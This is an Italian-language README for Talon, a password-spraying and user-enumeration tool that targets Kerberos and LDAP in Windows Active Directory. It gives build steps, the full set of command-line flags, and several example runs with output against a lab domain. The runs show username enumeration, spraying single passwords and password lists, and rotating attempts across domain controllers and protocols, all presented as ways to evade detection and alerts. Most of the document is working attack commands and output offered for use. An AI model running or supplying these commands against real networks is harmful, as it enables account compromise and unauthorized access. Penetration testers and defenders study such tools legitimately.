
Uno strumento di indovinamento delle password che prende di mira i servizi Kerberos e LDAP all'interno dell'ambiente Windows Active Directory.
Per visualizzare l'ultima versione di Talon o per inviare una segnalazione, fare riferimento a https://github.com/Tylous/Talon.
Talon è uno strumento progettato per eseguire attacchi automatici di indovinamento delle password rimanendo non rilevato. Talon può enumerare una lista di utenti per identificare quali sono validi, utilizzando Kerberos. Talon può anche eseguire un attacco di indovinamento delle password contro i servizi Kerberos e LDAPS (LDAP Secure). Talon può utilizzare un singolo domain controller o più di uno per eseguire questi attacchi, randomizzando ogni tentativo tra i domain controller e i servizi (LDAP o Kerberos).
Maggiori informazioni sulle tecniche sono disponibili nel seguente Blog
Scaricare il rilascio per il proprio sistema operativo dalla sezione releases
Talon è stato sviluppato in golang.
Il primo passo è sempre clonare il repository. Prima di compilare Talon è necessario installare le dipendenze. Per installarle, eseguire i seguenti comandi:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
Quindi compilare
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
La modalità di enumerazione degli utenti può essere eseguita con il flag -E, che invierà solo richieste di pre-autenticazione del TGT Kerberos al KDC di destinazione. Tuttavia, questa richiesta viene inviata con un tipo di crittografia noto come non valido o non più supportato. Talon esamina la risposta del KDC per determinare se risponde con un KDC_ERR_ETYPE_NOSUPP, che indica se un utente esiste, o KDC_ERR_C_PRINCIPAL_UNKNOWN se non esiste. Talon può eseguire questo tipo di enumerazione contro più domain controller in un'azienda utilizzando il flag -Hostfile per specificare più domain controller, o un singolo domain controller usando -H. Utilizzando questa tecnica non si causeranno fallimenti di accesso, quindi non si bloccherà nessun utente.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talon utilizza Kerberos e LDAP, entrambi integrati in Active Directory per l'autenticazione. Talon può eseguire l'indovinamento delle password alternando tra i due servizi, permettendo così di suddividere il traffico degli attacchi su due protocolli. Questo riduce il numero di eventi generati, diminuendo di conseguenza la possibilità di allerta. Talon fa un ulteriore passo avanti distribuendo l'attacco delle password su più domain controller in un'azienda utilizzando -Hostfile, alternando tra LDAP e Kerberos ogni volta per creare un ulteriore livello di offuscamento. È possibile fornire un singolo domain controller utilizzando il comando -H se necessario.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon è progettato per essere versatile in ogni situazione; di conseguenza, se è disponibile solo Kerberos, Talon può essere impostato per attaccare solo contro Kerberos usando il flag -K, o solo LDAP usando il flag -L.
Talon può utilizzare sia Kerberos che LDAP per leggere le risposte durante l'esecuzione di un attacco di indovinamento delle password. Talon è in grado di rilevare i blocchi degli account durante un attacco attivo di indovinamento delle password leggendo il codice di risposta di ogni tentativo di password. Questo aiuta a prevenire blocchi indesiderati degli account in un'azienda, aiutando a rimanere non rilevati. È sufficiente seguire il prompt per uscire o continuare l'attacco.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon è dotato della capacità di rilevare se i domain controller di destinazione sono attivi o diventano non disponibili. Questo aiuta a garantire risultati accurati senza sprecare tempo.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talon è in grado di eseguire l'indovinamento delle password contro una lista di possibili password in un file utilizzando (-Passfile). Poiché questo può essere MOLTO PERICOLOSO, Talon dispone di controlli per mettere in pausa dopo un certo numero di tentativi (-A) per un tempo specificato (-Lockout). Si noti che è importante conoscere la politica delle password prima di utilizzare queste opzioni, poiché l'accodamento di più tentativi di password può bloccare gli account se non si conosce la politica delle password.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35